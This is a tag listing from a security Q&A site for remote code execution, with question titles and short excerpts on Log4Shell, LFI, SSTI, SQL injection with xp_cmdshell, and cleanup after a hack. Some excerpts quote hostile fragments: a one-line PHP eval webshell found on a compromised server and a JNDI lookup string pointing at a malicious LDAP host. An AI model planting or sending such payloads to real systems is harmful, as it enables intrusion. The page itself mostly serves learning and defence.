Questions tagged [remote-code-execution]
Remote code execution is the process of running arbitrary code on a device over some type of network. The code can either be malicious, such as a code injection on a website, or voluntary, such as with Java Remote Method Invocation.
48
questions
2
votes
1
answer
76
views
How can malicious user change file on server without it being logged in server logs and how to protect against it?
Our server has been hacked, .php file accessible from outside was modified to include execution of shell commands passed in POST parameter. I've been inspecting relevant log file and couldn't find the ...
- 23
1
vote
0
answers
33
views
Router with good remote access (SSH etc) [closed]
I need to programmatically configure a router. However, none of our routers support ssh! Which kind of sucks!
I'm putting together a suite of full regression tests looking at wifi connectivity. For ...
- 113
1
vote
1
answer
116
views
Phar file deserialization in PHP < 8.0
TLDR:
I want to reproduce the RCE from phar file deserialization described in GitHub/advisory/97m3.
I fabricate an html file that includes a malicious svg file in its <img> tag.
Adding debug ...
- 111
1
vote
1
answer
137
views
xp_cmdshell as dbo user only able to run 'ping localhost' to verify RCE?
I am doing a pentest on a client's ASP web application and I have identified a blind SQL injection. However, after enabling xp_cmdshell, I am only able to run the ping localhost command to verify the ...
- 11
0
votes
0
answers
93
views
Storing APFS password in Apple's Keychain for Time Machine
If you are using an encrypted APFS container, for example, to encrypt the Time Machine, whenever the physical disk is plugged in, MacOS asks for a decryption password with an option to store it ("...
- 203
0
votes
0
answers
241
views
How to bypass ascii_letters and run the code in eval
I have next code:
if request.method == 'POST':
exp = request.form['Expression']
for i in exp:
if i in ascii_letters:
return render_template('index.html',...
- 1
0
votes
0
answers
83
views
Does other frontend framework have similar issue like AngularJS?
I'm reading an article that talks about XSS exploitation on AngularJS,
AngularJS will render the template in ng-html, and it bypasses sanitize-html.
My questions,
I'm wondering if other frameworks ...
- 2,077
2
votes
1
answer
528
views
Python Code Injection With int()
I discovered reading the documentation for int() in python that I could execute operating system commands if something like the following were passed to the int() constructor:
type('',(),{'a':5,'b':6,'...
- 21
0
votes
1
answer
162
views
Arbitrary command execution on remote devices
Is it possible to send a TCP payload to an open port that executes a specific arbitrary command on the target device using Metasploit or any other program? For example with Windows 10 Server OS?
I ...
- 3
-1
votes
1
answer
98
views
Would a base64ed code work inside an images metadata? [closed]
my target has a server that uses aspx possibly version 4.3 and i just found out that it has an image upload part. They have an image analyzer so it has to be an image file so i wonder if i could embed ...
- 1
0
votes
1
answer
302
views
Kubernetes user impersonation to obtain exec privileges
I am exploring CVE 2018-1002105 about privilege escalation vulnerabilities in Kubernetes. As a remote unuauthenticated user, I would want to make use of a metrics server deployed on my cluster to exec ...
1
vote
1
answer
119
views
New York Times article about FBI secretly removing malware from U.S. corporate servers - would this indicate they have a government backdoor?
New York times just ran an article titled "U.S. Says It Secretly Removed Malware Worldwide, Pre-empting Russian Cyberattacks" that stated
The United States said on Wednesday that it had ...
- 135
1
vote
0
answers
180
views
RCE through specifying .NET type or namespace?
I'm testing an application that allows the user to provide an XML file that will be processed. (I've already tried typical XML attacks, such as XXE.) One of the elements of the XML file allows the ...
- 99
1
vote
1
answer
187
views
Log4shell - Should affected servers be "nuked from the orbit"?
Considering how log4shell seems trivial to exploit and the important control level it gives to an attacker, should we wipe everything affected and start over?
For example, we find out that a publicly ...
- 201
3
votes
1
answer
1k
views
Can one protect from the Log4j exp by sanitizing the parameters?
A zero-day exploit affecting the popular Apache Log4j utility
(CVE-2021-44228) was made public on December 9, 2021 that results in
remote code execution (RCE). (From an email CloudFlare sent to users)
...
- 291
4
votes
1
answer
451
views
Does the log4j RCE vulnerability run even if the message is just a part of the logged string?
Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string?
For example, if the code contains:
paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
- 143
0
votes
1
answer
729
views
Uploading/writing server files via SSRF?
Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
- 99
0
votes
1
answer
154
views
Can I escalate a main domain SSTI/RCE to all the subdomains belonging to that domain?
I'm a newbie ethical hacker and bug bounty hunter. Lets, assume my target is somethingtohack.com, the thing is the company's scope defines that the main domain is out of scope, but subdomains like ...
1
vote
1
answer
677
views
Need guidance on detecting how a hacked file got upload on my website [duplicate]
On my website I found a file containing this code
<?php if(isset($_POST[z]))eval($_POST[z]);?>
It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
- 111
0
votes
2
answers
672
views
How to completely restrict Steam in Linux to defend against remote zero day exploits?
My question is, how can i completely restrict Steam's processes and modules to only have access to what they suppose to, and not be able to do anything malicious, for example running bin/sh or ...
- 410
0
votes
1
answer
916
views
Attempting remote code execution, why does this php webshell code fail with single quotes?
In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit:
https://www.exploit-db.com/exploits/24044
I tried to use this code to make a ...
- 1
1
vote
0
answers
2k
views
NodeJS, unrestricted file upload, RCE [closed]
I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible.
Uploaded file is visitable, I can upload .html to perform XSS ...
- 11
9
votes
2
answers
334
views
Who is at risk from the PrintNightmare RCE?
Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected ...
- 449
0
votes
2
answers
506
views
How does Local File Inclusion (LFI) work?
In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
- 15
0
votes
1
answer
5k
views
RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)
I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
- 15
0
votes
0
answers
144
views
ThinkPHP show my website as the req.host - did the request really come from my web server?
I have ThinkPHP wordpress garbage coming at my server https://medium.com/@knownsec404team/analysis-of-thinkphp5-remote-code-execution-vulnerability-5de8a0afb2d4
, for example:
/public/index.php?s=...
- 159
2
votes
2
answers
225
views
Is there any way an attacker can access the server and modify the site (php) code? [closed]
I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified.
The files modified were mostly storage - logs/...
- 21
2
votes
4
answers
688
views
LFI php://input returning initial argument?
TLDR: Trying to execute commands on site thats got a LFI vuln.
So I am making my post request to my vulnerable site and
import requests
header = {
'User-Agent':'Mozilla/5.0 (Windows; U; ...
- 21
2
votes
2
answers
917
views
Why is the first step for an attacker to get Reverse Shell after getting RCE?
If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell?
Even though I can run system commands, then why do I ...
- 31
0
votes
0
answers
300
views
Exploiting Groovy RCE
I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these ...
- 1
0
votes
0
answers
153
views
Remotely crashing a PC by only visiting a website? Is this an at least 6 year old WebGL bug?
http://hunger.hu/webgl.html
WARNING: only visit this website, it you don't mind crashing your PC!
so how is this possible? the website dates back to 2014! It is 2020 and by only visiting a website ...
1
vote
1
answer
213
views
Rogue network printers as an attack vector in windows
I recently installed a new printer in our network. Just because I was interested, I switched to wireshark when scanning for and adding the printer on windows. I noticed that it was discoverd through ...
- 13
1
vote
2
answers
1k
views
DVWA - Converting Local File Inclusion to Remote Code Exploitation
I'm reading this blog and it says:
If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
- 656
3
votes
1
answer
255
views
Is this a remote code execution vulnerability?
I am planning to evaluate and install a publicly available software.
https://github.com/opensemanticsearch/open-semantic-search
While reviewing the issues on github, there is an issue open which ...
- 133
0
votes
1
answer
2k
views
LFI to RCE through User-Agent
I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
0
votes
0
answers
119
views
Securing server-sent shaders
I have been implementing server-sent shaders using OpenGL for a game (GLSL version 1.20.8).
Executing server-sent shaders on the client obviously is remote code execution, which tends to be a bad ...
- 101
1
vote
1
answer
365
views
Dealing with a large number of bad chars
I have recently discovered a Buffer Overflow vulnerability that leads to Remote Code Execution. However, due to the structure of the application assessed, a lot of so-called 'bad chars' came up. The ...
- 992
2
votes
1
answer
2k
views
Dangers of Electron's "shell.openExternal" on untrusted content
I'm curious about the actual dangers of executing shell.openExternal on untrusted content. Documentation specifically states that this can be leveraged for RCE:
Improper use of openExternal can be ...
- 123
0
votes
1
answer
281
views
Deserialization Opportunity?
I have minimal experience exploiting deserialization vulnerabilities and I am working on and I have identified the following URL endpoint. This is it URL Decoded:
/Account/Register?Count=0&Keys=...
- 376
0
votes
0
answers
313
views
How is malicious code executed on android devices without owners' knowledge?
I was wondering how hackers were able to gain remote access to one's android device with the help of just a .PNG file. This vulnerability was announced by Google but they didn't provide much ...
3
votes
2
answers
641
views
Are alphanumeric strings safe to pass to a bash script?
I'm currently developing a web service that takes user input and passes it to a bash script as an argument.
I know that without sanitizing this allows for remote command execution. So I want to know ...
- 211
2
votes
2
answers
1k
views
Remote code execution over WAN
Say I am on a a computer behind a NAT and I want to execute an RCE exploit on another computer behind a different NAT(note that no ports are forwarded to the victim's computer on his/her NAT) Could I ...
- 21
0
votes
2
answers
957
views
Accessing a hidden token file in a website using RFI?
In class, I was given the task of using LFI and RFI to find tokens hidden in specific web pages. I completed the first two tasks fine, however, there is another task, the final boss if you will, that ...
2
votes
0
answers
282
views
Reverse TCP - Bind to a specific port
So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
- 121
1
vote
1
answer
210
views
Is it possible to exploit computer vision to achieve remote code execution?
What kind of vulnerability in the implementation of a vision-based machine learning system (object recognition, for example) would enable an attacker to achieve remote code execution?
The only ...
- 153
1
vote
2
answers
254
views
Exploitation tactics for heap over-reading?
One of recent CVEs particularly 2019-13615 related to VLC media player, attracted my attention because of the developer reaction:
Any non-exploitable read overflow get CVSS of 9.8, like VLC is a ...
- 163
0
votes
3
answers
1k
views
How to exploit RCE vulnerability for machine on local network [closed]
Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside ...
68
votes
1
answer
12k
views
Unusual mail headers show evidence of MTA attack. Have I been pwned?
Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind.
...
- 5,408